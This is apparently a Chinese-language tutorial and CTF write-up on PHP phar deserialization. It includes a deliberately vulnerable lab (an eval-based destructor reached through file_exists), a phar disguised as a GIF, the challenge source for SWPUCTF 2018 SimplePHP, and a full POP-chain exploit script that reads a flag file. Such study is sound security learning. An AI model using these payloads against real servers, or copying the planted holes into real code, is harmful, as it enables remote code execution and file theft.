初探phar
前段时间做题的时候看了一些phar的一些内容,感觉真的是好神奇,于是希望小小总结一波
看了很多大佬关于phar拓展序列化漏洞的讲解讲解中都提到了 It’s a PHP unserialization vulnerability Jim, but not as we know it 提出的议题(某国外平台上有),于是乎我也去观看了视频,不过鉴于自己菜的要死的英语水平还是要看许多国内大佬们的文章。(文章结尾都会列出)
关于流包装
我们在做过许多题目的时候遇到过利用 php:// , data:// 等方式利用各种协议来访问文件路径, phar:// 也属于这种流包装的一种。有时候我们也可能会把方式叫做 php伪协议。
phar原理
查阅文件结构我们可以知道phar的文件结构由四部分组成。
1.a stub
我们可以把它理解为一个标志,格式为 xxx<?php xxx;__HALT_COMPILER();?> ,前面内容不限,但是必须以 __HALT_COMPILER();?> 结尾,否则无法被phar扩张识别为phar文件(如下图示例)
2. 描述内容
phar本质上是一种压缩文件,其中每一个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的 meta-data ,这是上述攻击方式的核心地方。
demo1
注意: 我们在实验前需要把 php.ini 中的phar.readonly 设置为off,否则无法生成phar文件。
phar.php:
<?php class TestObject { } $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $o -> data='hu3sky'; $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
访问后我们会生成一个 phar.phar 文件,打开可以看见 meta-data 是以序列化的形式存储的。
有序列化就可以通过反序列化操作,phar文件被phar://可以在许多文件文件系统函数下被解析,经过大佬们的测试,可以得到受影响的函数如下:
利用
通过上面分析phar文件结构时我们可以注意到,也许我我们可以通过过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
利用条件
phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:
、/
、phar
等特殊字符没有被过滤。
环境准备
upload_file.php
,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gifupload_file.html
文件上传表单file_un.php
存在file_exists()
,并且存在__destruct()
文件内容
upload_file.php
<?php if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " . "./upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; }
upload_file.html
<body> <form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body>
file_un.php
<?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } file_exists($filename);
eval.php
<?php class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } $phar = new Phar('phar.phar'); $phar -> stopBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new AnyClass(); $object -> output= 'phpinfo();'; $phar -> setMetadata($object); $phar -> stopBuffering();
准备好如图几个文件
实现过程
访问 eval.php 我们可以生成 phar.phar 然后我们把它修改后缀为 gif
然后我们上传
接着利用 file_un.php
payload: filename=phar://upload_file/phar.gif
题战
[SWPUCTF 2018]SimplePHP
看到这样我们 ?file= 我们就直接利用
file.php
<?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>
function.php
<?php //show_source(__FILE__); include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } } ?>
class.php
<?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; //$this->source = phar://phar.jpg echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
upload_file.php
<?php include 'function.php'; upload_file(); ?>
简单看了一下源码,我们可以找到两个读取系统文件的函数 highlight_file() 和 file_get_contents()
pop链分析
我们首先看到 Show类中的_show方法:
public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } }
f1ag被ban了,higjlight_file 利用不了
看到 Test 类里面的 file-get方法有 file_get_contents 函数,再看到 file_get 是在 get 方法里面调用的,而 get方法是通过 魔术方法 __get() 调用 ( __get():获取类中的一个不可访问属性或者是不存在的属性会调用此方法)
public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text;
只要我们把 Test 实例化的对象存储在 str 的数组中,然后再去调用source属性,就可以触发 __get() 。但我们还需要触发 __toString() ( __toString():将一个实例化对象当做一个字符串来使用时,会自动调用该方法)
在 C1e4r类,看到了 __dustuct() 有对字符串的输出
public function __destruct() { $this->test = $this->str; echo $this->test; }
于是我们构造exp
<?php class C1e4r{ public $test; public $str; } class Show{ public $source; public $str; } class Test{ public $file; public $params = array(); } @unlink("test.phar"); $phar = new Phar("exp.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $fun1 = new C1e4r(); $fun2 = new Show(); $fun3 = new Test(); $fun3->params['source']="/var/www/html/f1ag.php"; $fun2->str = array('str'=>$fun3); $fun1->str = $fun2; $phar->setMetadata($fun1); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
生成的 exp.phar 文件改为 .jpg 用 bp 上传
上传后找到 文件的路径
利用 phar 协议
解得
参考文章
https://paper.seebug.org/680/#0x02
https://xz.aliyun.com/t/2715#toc-1
https://xz.aliyun.com/t/3692#toc-11
https://www.secpulse.com/archives/123237.html